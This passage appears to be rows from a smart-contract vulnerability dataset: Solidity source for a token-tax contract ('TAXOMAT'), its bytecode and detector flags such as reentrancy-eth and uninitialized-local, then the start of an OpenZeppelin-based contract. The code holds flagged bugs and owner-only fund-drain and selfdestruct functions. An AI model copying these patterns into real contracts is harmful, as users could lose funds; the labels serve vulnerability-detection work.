function create_weth_pair(address token) private returns (address, IUniswapV2Pair) {
address pair_address = IUniswapFactory(router.factory()).createPair(token, router.WETH());
return (pair_address, IUniswapV2Pair(pair_address));
}
function get_weth_reserve(address pair_address) private view returns(uint, uint) {
IUniswapV2Pair pair = IUniswapV2Pair(pair_address);
uint112 token_reserve;
uint112 native_reserve;
uint32 last_timestamp;
(token_reserve, native_reserve, last_timestamp) = pair.getReserves();
return (token_reserve, native_reserve);
}
function get_weth_price_impact(address token, uint amount, bool sell) private view returns(uint) {
address pair_address = IUniswapFactory(router.factory()).getPair(token, router.WETH());
(uint res_token, uint res_weth) = get_weth_reserve(pair_address);
uint impact;
if(sell) {
impact = (amount.mul(100)).div(res_token);
} else {
impact = (amount.mul(100)).div(res_weth);
}
return impact;
}
}
contract protected {
mapping (address => bool) is_auth;
function authorized(address addy) public view returns(bool) {
return is_auth[addy];
}
function set_authorized(address addy, bool booly) public onlyAuth {
is_auth[addy] = booly;
}
modifier onlyAuth() {
require( is_auth[msg.sender] || msg.sender==owner, "not owner");
_;
}
address owner;
modifier onlyOwner() {
require(msg.sender==owner, "not owner");
_;
}
bool locked;
modifier safe() {
require(!locked, "reentrant");
locked = true;
_;
locked = false;
}
receive() external payable {}
fallback() external payable {}
}
interface taxable is ERC20 {
function rescueTokens(address tknAddress) external;
function getLimits() external view returns (uint balance, uint sell);
function getTaxes() external view returns(uint8 Marketedax, uint8 liquidityTax, uint8 stakingTax, uint8 kaibaTax, uint8 buyTax, uint8 sellTax, uint8 transferTax);
}
contract TAXOMAT is smart, protected {
using SafeMath for uint;
address public taxes_on;
taxable public taxable_token;
uint8 public buy_tax;
uint8 public sell_tax;
uint8 public tx_tax;
uint8 public market_share;
uint8 public staking_share;
uint8 public liquidity_share;
uint8 public kaiba_share;
uint public market_balance;
uint public staking_balance;
uint public kaiba_balance;
uint public staking_token_balance;
address public staking_token;
constructor() {
owner = msg.sender;
is_auth[owner] = true;
}
function set_staking_token(address tkn) public onlyAuth {
staking_token = tkn;
}
function MANUAL_set_taxes(
uint8 _buy_tax,
uint8 _sell_tax,
uint8 _tx_tax,
uint8 _market_share,
uint8 _staking_share,
uint8 _liquidity_share,
uint8 _kaiba_share
) public onlyAuth {
buy_tax = _buy_tax;
sell_tax = _sell_tax;
tx_tax = _tx_tax;
market_share = _market_share;
liquidity_share = _liquidity_share;
staking_share = _staking_share;
kaiba_share = _kaiba_share;
}
function set_taxable(address addy) public onlyAuth {
taxes_on = addy;
taxable_token = taxable(taxes_on);
(market_share,
liquidity_share,
staking_share,
kaiba_share,
buy_tax,
sell_tax,
tx_tax) = taxable_token.getTaxes();
}
function retrieved_due_token() public onlyAuth {
taxable_token.rescueTokens(taxes_on);
}
function divide_taxes(uint buy_sell_tx) public onlyAuth {
uint8 thisTax;
if(buy_sell_tx==0) {
thisTax = buy_tax;
} else if(buy_sell_tx==1) {
thisTax = sell_tax;
} else if(buy_sell_tx==2) {
thisTax = tx_tax;
}
uint total_taxes = ((taxable_token.balanceOf(address(this)).mul(thisTax)).div(100));
uint market_part = (total_taxes.mul(market_share)).div(100);
uint staking_part = ((total_taxes.mul(staking_share)).div(100));
uint liquidity_part = ((total_taxes.mul(liquidity_share)).div(100));
uint kaiba_part = total_taxes.sub(market_part).sub(staking_part).sub(liquidity_part);
_liquify(liquidity_share);
_swapTaxes(market_part.add(staking_part).add(kaiba_part));
}
function _liquify(uint to_liq) private {
require(taxable_token.balanceOf(address(this)) >= to_liq, "Tokens!");
uint liq_tokens = to_liq.div(2);
uint liq_eths = to_liq - liq_tokens;
uint pre_balance = address(this).balance;
swapper(liq_eths);
uint post_balance = address(this).balance;
uint new_liq_eth = post_balance - pre_balance;
router.addLiquidityETH {value: new_liq_eth} (
taxes_on,
liq_tokens,
0,
0,
address(this),
block.timestamp
);
}
function _swapTaxes(uint to_swap) private {
require(taxable_token.balanceOf(address(this)) >= to_swap, "Tokens!");
uint pre_balance = address(this).balance;
swapper(to_swap);
uint post_balance = address(this).balance;
uint new_eths = post_balance - pre_balance;
market_balance += (new_eths.mul(market_share)).div(100);
staking_balance += (new_eths.mul(staking_share)).div(100);
kaiba_balance += new_eths.sub(market_balance).sub(staking_balance);
}
function swapper(uint tkn) private {
address[] memory path;
path[0] = taxes_on;
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tkn,
0,
path,
address(this),
block.timestamp);
}
function retrieve_marketing() public onlyAuth {
(bool sent,) = msg.sender.call{value: market_balance}("");
market_balance = 0;
require(sent, "Failed");
}
function retrieve_stake() public onlyAuth {
(bool sent,) = msg.sender.call{value: staking_balance}("");
staking_balance = 0;
require(sent, "Failed");
}
function retrieve_kaiba() public onlyAuth {
(bool sent,) = msg.sender.call{value: kaiba_balance}("");
kaiba_balance = 0;
require(sent, "Failed");
}
function retrieve_all() public onlyAuth {
(bool sent,) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed");
}
function convert_staking(address token) public onlyAuth {
require(staking_balance > 0, "No balance");
address[] memory path;
path[0] = router.WETH();
path[1] = token;
router.swapExactETHForTokens{value: staking_balance} (
0,
path,
address(this),
block.timestamp);
staking_token_balance = ERC20(staking_token).balanceOf(address(this));
}
function harakiri() public onlyAuth {
selfdestruct(payable(msg.sender));
}
} | 0x6080604052600436106101a05760003560e01c80635fb1850c116100ec578063a0356f551161008a578063b2e4d04111610064578063b2e4d04114610516578063b91816111461052d578063ba38a3851461056a578063c988b0e114610595576101a7565b8063a0356f5514610495578063ac618df9146104c0578063b0720f55146104eb576101a7565b806370a9225c116100c657806370a9225c146103ed57806374ee346214610418578063859f512e14610441578063935050521461046a576101a7565b80635fb1850c146103945780636336c9eb146103ab5780636dcba231146103d6576101a7565b80632dc7d74c11610159578063417d3fb111610133578063417d3fb114610300578063578848d3146103295780635988f99c146103405780635faa5eca1461036b576101a7565b80632dc7d74c1461027f57806330bfa75e146102aa5780634147c6a7146102d5576101a7565b80630e65f6cd146101a95780631a5ae39a146101c05780631a720528146101d75780631c8b1ed51461020257806320901b6e1461022d5780632bfe874214610256576101a7565b366101a757005b005b3480156101b557600080fd5b506101be6105c0565b005b3480156101cc57600080fd5b506101d5610754565b005b3480156101e357600080fd5b506101ec6108f1565b6040516101f99190612c65565b60405180910390f35b34801561020e57600080fd5b50610217610904565b6040516102249190612c65565b60405180910390f35b34801561023957600080fd5b50610254600480360381019061024f91906125fb565b610917565b005b34801561026257600080fd5b5061027d60048036038101906102789190612655565b610cf1565b005b34801561028b57600080fd5b50610294610e30565b6040516102a19190612a72565b60405180910390f35b3480156102b657600080fd5b506102bf610e56565b6040516102cc9190612c65565b60405180910390f35b3480156102e157600080fd5b506102ea610e69565b6040516102f79190612c65565b60405180910390f35b34801561030c57600080fd5b50610327600480360381019061032291906126de565b610e7c565b005b34801561033557600080fd5b5061033e6111d6565b005b34801561034c57600080fd5b50610355611373565b6040516103629190612bf0565b60405180910390f35b34801561037757600080fd5b50610392600480360381019061038d91906125fb565b611379565b005b3480156103a057600080fd5b506103a9611676565b005b3480156103b757600080fd5b506103c0611773565b6040516103cd9190612b09565b60405180910390f35b3480156103e257600080fd5b506103eb611799565b005b3480156103f957600080fd5b50610402611936565b60405161040f9190612bf0565b60405180910390f35b34801561042457600080fd5b5061043f600480360381019061043a919061278b565b61193c565b005b34801561044d57600080fd5b50610468600480360381019061046391906125fb565b611ae6565b005b34801561047657600080fd5b5061047f611c0e565b60405161048c9190612c65565b60405180910390f35b3480156104a157600080fd5b506104aa611c21565b6040516104b79190612a72565b60405180910390f35b3480156104cc57600080fd5b506104d5611c47565b6040516104e29190612bf0565b60405180910390f35b3480156104f757600080fd5b50610500611c4d565b60405161050d9190612c65565b60405180910390f35b34801561052257600080fd5b5061052b611c60565b005b34801561053957600080fd5b50610554600480360381019061054f91906125fb565b611df3565b6040516105619190612aee565b60405180910390f35b34801561057657600080fd5b5061057f611e49565b60405161058c9190612c65565b60405180910390f35b3480156105a157600080fd5b506105aa611e5c565b6040516105b79190612bf0565b60405180910390f35b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806106655750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6106a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069b90612bd0565b60405180910390fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1662ae3bf8600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016107209190612a72565b600060405180830381600087803b15801561073a57600080fd5b505af115801561074e573d6000803e3d6000fd5b50505050565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806107f95750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082f90612bd0565b60405180910390fd5b60003373ffffffffffffffffffffffffffffffffffffffff1660075460405161086090612a5d565b60006040518083038185875af1925050503d806000811461089d576040519150601f19603f3d011682016040523d82523d6000602084013e6108a2565b606091505b505090506000600781905550806108ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e590612b70565b60405180910390fd5b50565b600560189054906101000a900460ff1681565b600560199054906101000a900460ff1681565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806109bc5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6109fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f290612bd0565b60405180910390fd5b600060075411610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612b90565b60405180910390fd5b6060600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610aaa57600080fd5b505afa158015610abe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae29190612628565b81600081518110610af657610af5612f67565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508181600181518110610b4557610b44612f67565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637ff36ab560075460008430426040518663ffffffff1660e01b8152600401610be49493929190612b24565b6000604051808303818588803b158015610bfd57600080fd5b505af1158015610c11573d6000803e3d6000fd5b50505050506040513d6000823e3d601f19601f82011682018060405250810190610c3b9190612695565b50600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610c979190612a72565b60206040518083038186803b158015610caf57600080fd5b505afa158015610cc3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ce7919061270b565b6009819055505050565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610d965750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcc90612bd0565b60405180910390fd5b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560179054906101000a900460ff1681565b600560149054906101000a900460ff1681565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610f215750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610f60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5790612bd0565b60405180910390fd5b600080821415610f8157600560149054906101000a900460ff169050610fbf565b6001821415610fa157600560159054906101000a900460ff169050610fbe565b6002821415610fbd57600560169054906101000a900460ff1690505b5b5b600061109460646110868460ff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016110289190612a72565b60206040518083038186803b15801561104057600080fd5b505afa158015611054573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611078919061270b565b611e6290919063ffffffff16565b611e7890919063ffffffff16565b905060006110d060646110c2600560179054906101000a900460ff1660ff1685611e6290919063ffffffff16565b611e7890919063ffffffff16565b9050600061110c60646110fe600560189054906101000a900460ff1660ff1686611e6290919063ffffffff16565b611e7890919063ffffffff16565b90506000611148606461113a600560199054906101000a900460ff1660ff1687611e6290919063ffffffff16565b611e7890919063ffffffff16565b905060006111838261117585611167888a611e8e90919063ffffffff16565b611e8e90919063ffffffff16565b611e8e90919063ffffffff16565b90506111a0600560199054906101000a900460ff1660ff16611ea4565b6111cd6111c8826111ba86886120c290919063ffffffff16565b6120c290919063ffffffff16565b6120d8565b50505050505050565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061127b5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6112ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b190612bd0565b60405180910390fd5b60003373ffffffffffffffffffffffffffffffffffffffff166006546040516112e290612a5d565b60006040518083038185875af1925050503d806000811461131f576040519150601f19603f3d011682016040523d82523d6000602084013e611324565b606091505b50509050600060068190555080611370576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136790612b70565b60405180910390fd5b50565b60095481565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061141e5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61145d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145490612bd0565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632973ef2d6040518163ffffffff1660e01b815260040160e06040518083038186803b15801561156957600080fd5b505afa15801561157d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a1919061282d565b6005601760056019600560186005601a6005601460056015600560168e91906101000a81548160ff021916908360ff1602179055508d91906101000a81548160ff021916908360ff1602179055508c91906101000a81548160ff021916908360ff1602179055508b91906101000a81548160ff021916908360ff1602179055508a91906101000a81548160ff021916908360ff1602179055508991906101000a81548160ff021916908360ff1602179055508891906101000a81548160ff021916908360ff1602179055505050505050505050565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061171b5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61175a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175190612bd0565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16ff5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061183e5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61187d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187490612bd0565b60405180910390fd5b60003373ffffffffffffffffffffffffffffffffffffffff166008546040516118a590612a5d565b60006040518083038185875af1925050503d80600081146118e2576040519150601f19603f3d011682016040523d82523d6000602084013e6118e7565b606091505b50509050600060088190555080611933576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192a90612b70565b60405180910390fd5b50565b60075481565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119e15750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611a20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1790612bd0565b60405180910390fd5b86600560146101000a81548160ff021916908360ff16021790555085600560156101000a81548160ff021916908360ff16021790555084600560166101000a81548160ff021916908360ff16021790555083600560176101000a81548160ff021916908360ff16021790555081600560196101000a81548160ff021916908360ff16021790555082600560186101000a81548160ff021916908360ff160217905550806005601a6101000a81548160ff021916908360ff16021790555050505050505050565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b8b5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611bca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc190612bd0565b60405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600560159054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b600560169054906101000a900460ff1681565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d055750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611d44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3b90612bd0565b60405180910390fd5b60003373ffffffffffffffffffffffffffffffffffffffff1647604051611d6a90612a5d565b60006040518083038185875af1925050503d8060008114611da7576040519150601f19603f3d011682016040523d82523d6000602084013e611dac565b606091505b5050905080611df0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de790612b70565b60405180910390fd5b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6005601a9054906101000a900460ff1681565b60065481565b60008183611e709190612dad565b905092915050565b60008183611e869190612d7c565b905092915050565b60008183611e9c9190612e07565b905092915050565b80600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611f009190612a72565b60206040518083038186803b158015611f1857600080fd5b505afa158015611f2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f50919061270b565b1015611f91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8890612bb0565b60405180910390fd5b6000611fa7600283611e7890919063ffffffff16565b905060008183611fb79190612e07565b90506000479050611fc7826122cf565b600047905060008282611fda9190612e07565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168860008030426040518863ffffffff1660e01b815260040161206596959493929190612a8d565b6060604051808303818588803b15801561207e57600080fd5b505af1158015612092573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906120b79190612738565b505050505050505050565b600081836120d09190612d26565b905092915050565b80600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016121349190612a72565b60206040518083038186803b15801561214c57600080fd5b505afa158015612160573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612184919061270b565b10156121c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121bc90612bb0565b60405180910390fd5b60004790506121d3826122cf565b6000479050600082826121e69190612e07565b90506122206064612212600560179054906101000a900460ff1660ff1684611e6290919063ffffffff16565b611e7890919063ffffffff16565b600660008282546122319190612d26565b925050819055506122706064612262600560189054906101000a900460ff1660ff1684611e6290919063ffffffff16565b611e7890919063ffffffff16565b600760008282546122819190612d26565b925050819055506122b16007546122a360065484611e8e90919063ffffffff16565b611e8e90919063ffffffff16565b600860008282546122c29190612d26565b9250508190555050505050565b6060600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160008151811061230857612307612f67565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123aa57600080fd5b505afa1580156123be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123e29190612628565b816001815181106123f6576123f5612f67565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612494959493929190612c0b565b600060405180830381600087803b1580156124ae57600080fd5b505af11580156124c2573d6000803e3d6000fd5b505050505050565b60006124dd6124d884612ca5565b612c80565b90508083825260208201905082856020860282011115612500576124ff612fca565b5b60005b85811015612530578161251688826125bc565b845260208401935060208301925050600181019050612503565b5050509392505050565b60008135905061254981613091565b92915050565b60008151905061255e81613091565b92915050565b600082601f83011261257957612578612fc5565b5b81516125898482602086016124ca565b91505092915050565b6000813590506125a1816130a8565b92915050565b6000813590506125b6816130bf565b92915050565b6000815190506125cb816130bf565b92915050565b6000813590506125e0816130d6565b92915050565b6000815190506125f5816130d6565b92915050565b60006020828403121561261157612610612fd4565b5b600061261f8482850161253a565b91505092915050565b60006020828403121561263e5761263d612fd4565b5b600061264c8482850161254f565b91505092915050565b6000806040838503121561266c5761266b612fd4565b5b600061267a8582860161253a565b925050602061268b85828601612592565b9150509250929050565b6000602082840312156126ab576126aa612fd4565b5b600082015167ffffffffffffffff8111156126c9576126c8612fcf565b5b6126d584828501612564565b91505092915050565b6000602082840312156126f4576126f3612fd4565b5b6000612702848285016125a7565b91505092915050565b60006020828403121561272157612720612fd4565b5b600061272f848285016125bc565b91505092915050565b60008060006060848603121561275157612750612fd4565b5b600061275f868287016125bc565b9350506020612770868287016125bc565b9250506040612781868287016125bc565b9150509250925092565b600080600080600080600060e0888a0312156127aa576127a9612fd4565b5b60006127b88a828b016125d1565b97505060206127c98a828b016125d1565b96505060406127da8a828b016125d1565b95505060606127eb8a828b016125d1565b94505060806127fc8a828b016125d1565b93505060a061280d8a828b016125d1565b92505060c061281e8a828b016125d1565b91505092959891949750929550565b600080600080600080600060e0888a03121561284c5761284b612fd4565b5b600061285a8a828b016125e6565b975050602061286b8a828b016125e6565b965050604061287c8a828b016125e6565b955050606061288d8a828b016125e6565b945050608061289e8a828b016125e6565b93505060a06128af8a828b016125e6565b92505060c06128c08a828b016125e6565b91505092959891949750929550565b60006128db83836128e7565b60208301905092915050565b6128f081612e3b565b82525050565b6128ff81612e3b565b82525050565b600061291082612ce1565b61291a8185612cf9565b935061292583612cd1565b8060005b8381101561295657815161293d88826128cf565b975061294883612cec565b925050600181019050612929565b5085935050505092915050565b61296c81612e4d565b82525050565b61297b81612e90565b82525050565b61298a81612ea2565b82525050565b600061299d600683612d15565b91506129a882612fea565b602082019050919050565b60006129c0600a83612d15565b91506129cb82613013565b602082019050919050565b60006129e3600783612d15565b91506129ee8261303c565b602082019050919050565b6000612a06600083612d0a565b9150612a1182613065565b600082019050919050565b6000612a29600983612d15565b9150612a3482613068565b602082019050919050565b612a4881612e79565b82525050565b612a5781612e83565b82525050565b6000612a68826129f9565b9150819050919050565b6000602082019050612a8760008301846128f6565b92915050565b600060c082019050612aa260008301896128f6565b612aaf6020830188612a3f565b612abc6040830187612981565b612ac96060830186612981565b612ad660808301856128f6565b612ae360a0830184612a3f565b979650505050505050565b6000602082019050612b036000830184612963565b92915050565b6000602082019050612b1e6000830184612972565b92915050565b6000608082019050612b396000830187612981565b8181036020830152612b4b8186612905565b9050612b5a60408301856128f6565b612b676060830184612a3f565b95945050505050565b60006020820190508181036000830152612b8981612990565b9050919050565b60006020820190508181036000830152612ba9816129b3565b9050919050565b60006020820190508181036000830152612bc9816129d6565b9050919050565b60006020820190508181036000830152612be981612a1c565b9050919050565b6000602082019050612c056000830184612a3f565b92915050565b600060a082019050612c206000830188612a3f565b612c2d6020830187612981565b8181036040830152612c3f8186612905565b9050612c4e60608301856128f6565b612c5b6080830184612a3f565b9695505050505050565b6000602082019050612c7a6000830184612a4e565b92915050565b6000612c8a612c9b565b9050612c968282612ed8565b919050565b6000604051905090565b600067ffffffffffffffff821115612cc057612cbf612f96565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b6000612d3182612e79565b9150612d3c83612e79565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d7157612d70612f09565b5b828201905092915050565b6000612d8782612e79565b9150612d9283612e79565b925082612da257612da1612f38565b5b828204905092915050565b6000612db882612e79565b9150612dc383612e79565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612dfc57612dfb612f09565b5b828202905092915050565b6000612e1282612e79565b9150612e1d83612e79565b925082821015612e3057612e2f612f09565b5b828203905092915050565b6000612e4682612e59565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612e9b82612eb4565b9050919050565b6000612ead82612e79565b9050919050565b6000612ebf82612ec6565b9050919050565b6000612ed182612e59565b9050919050565b612ee182612fd9565b810181811067ffffffffffffffff82111715612f0057612eff612f96565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4661696c65640000000000000000000000000000000000000000000000000000600082015250565b7f4e6f2062616c616e636500000000000000000000000000000000000000000000600082015250565b7f546f6b656e732100000000000000000000000000000000000000000000000000600082015250565b50565b7f6e6f74206f776e65720000000000000000000000000000000000000000000000600082015250565b61309a81612e3b565b81146130a557600080fd5b50565b6130b181612e4d565b81146130bc57600080fd5b50565b6130c881612e79565b81146130d357600080fd5b50565b6130df81612e83565b81146130ea57600080fd5b5056fea26469706673582212208f1d78706a0ab3a86bd0e933aafa31d796f622992257dbd812c40e913ce2774864736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 853 |
0x1FF4Ad83B8821586458607549bD4c1422aA02BfB | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
